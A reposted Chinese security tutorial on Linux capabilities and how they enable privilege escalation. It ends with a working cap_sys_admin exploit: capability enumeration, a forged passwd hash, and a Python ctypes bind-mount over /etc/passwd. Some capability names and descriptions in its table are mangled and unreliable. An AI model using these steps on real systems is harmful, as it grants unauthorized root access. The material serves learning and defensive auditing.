Linux提权之Capabilities提权(一)
2023-2-20 13:0:28 Author: www.freebuf.com(查看原文) 阅读量:17 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

什么是Capabilities

Linux的Root用户拥有最高的权限,可以对几乎系统中的任何文件进行操作。然而普通用户如何操作一些高权限的文件?
在Linux中存在两种方法:
第一种是在执行的命令前加上sudo,这样就会以Root的身份进行操作。
第二种方法是设置SUID或SGID,这样虽然会以原用户的身份进行操作,但是获得了操作权限。

SUID和SGID存在安全隐患,因为某文件设置了之后普通用户将会获得广范围的操作权限。
为了避免这种安全隐患,Linux内核 2.2 之后引入了Capabilities机制。

什么是Capabilities机制呢?

原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。

如何设置与移除Capabilities

setcap cap_sys_admin+ep /usr/sbin/python #设置capabilities权限
setcap -r /usr/sbin/python #移除capabilities权限

Capabiliies权限介绍

capability名称描述
CAPAUDITCONTROL启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAPAUDITREAD允许通过 multicast netlink 套接字读取审计日志
CAPAUDITWRITE将记录写入内核审计日志
CAPBLOCKSUSPEND使用可以阻止系统挂起的特性
CAP_CHOWN修改文件所有者的权限
CAPDACOVERRIDE忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID允许设置文件的 setuid 位
CAPIPCLOCK允许锁定共享内存片段
CAPIPCOWNER忽略 IPC 所有权检查
CAP_KILL允许对不属于自己的进程发送信号
CAP_LEASE允许修改文件锁的 FL_LEASE 标志
CAPLINUXIMMUTABLE允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAPMACADMIN允许 MAC 配置或状态更改
CAPMACOVERRIDE忽略文件的 DAC 访问限制
CAP_MKNOD允许使用 mknod() 系统调用
CAPNETADMIN允许执行网络管理任务
CAPNETBIND_SERVICE允许绑定到小于 1024 的端口
CAPNETBROADCAST允许网络广播和多播访问
CAPNETRAW允许使用原始套接字
CAP_SETGID允许改变进程的 GID
CAP_SETFCAP允许为文件设置任意的 capabilities
CAP_SETPCAP参考 capabilities man page
CAP_SETUID允许改变进程的 UID
CAPSYSADMIN允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAPSYSBOOT允许重新启动系统
CAPSYSCHROOT允许使用 chroot() 系统调用
CAPSYSMODULE允许插入和删除内核模块
CAPSYSNICE允许提升优先级及设置其他进程的优先级
CAPSYSPACCT允许执行进程的 BSD 式审计
CAPSYSPTRACE允许跟踪任何进程
CAPSYSRAWIO允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAPSYSRESOURCE忽略资源限制
CAPSYSTIME允许改变系统时钟
CAPSYSTTY_CONFIG允许配置 TTY 设备
CAP_SYSLOG允许使用 syslog() 系统调用
CAPWAKEALARM允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器)

以下功能特别危险,如果发现系统上启用了这些功能,则应进一步进行检查:

  • CAP_CHOWN
  • CAP_DAC_OVERRIDE
  • CAP_DAC_READ_SEARCH
  • CAP_SETUID
  • CAP_SETGID
  • CAP_NET_RAW
  • CAP_SYS_ADMIN
  • CAP_SYS_PTRACE
  • CAP_SYS_MODULE
  • CAP_FORMER
  • CAP_SETFCAP

漏洞利用举例

cap_sys_admin

  1. 查找存在Capabilities权限的文件
    getcap -r / 2>/dev/null
  2. 将passwd文件拷贝到目录下后,生成自定义的密码并将其复制到root密码处
    cp /etc/passwd ./                                     #复制passwd文件到当前目录下
    openssl passwd -1 -salt abc password    #生成自定义密码的hash值
    vim ./passwd                                            #修改当前目录下的passwd文件中的root密码
  3. 使用基于python的exp
    from ctypes import *
    libc = CDLL("libc.so.6")
    libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
    MS_BIND = 4096
    source = b"/path/to/fake/passwd"
    target = b"/etc/passwd"
    filesystemtype = b"none"
    options = b"rw"
    mountflags = MS_BIND
    libc.mount(source, target, filesystemtype, mountflags, options)
  4. 注意要更改exp中的地址
  5. 执行exp
    注意要填有“cap_sys_admin+ep”权限的Python程序
    /usr/sbin/python exp.py
  6. 密码修改成功

第二篇文章将介绍利用cap_sys_module权限进行提权的方法。

本篇文章仅作学习参考使用,文中如有纰漏及错误,敬请指正。


文章来源: https://www.freebuf.com/articles/system/358115.html
如有侵权请联系:admin#unsafe.sh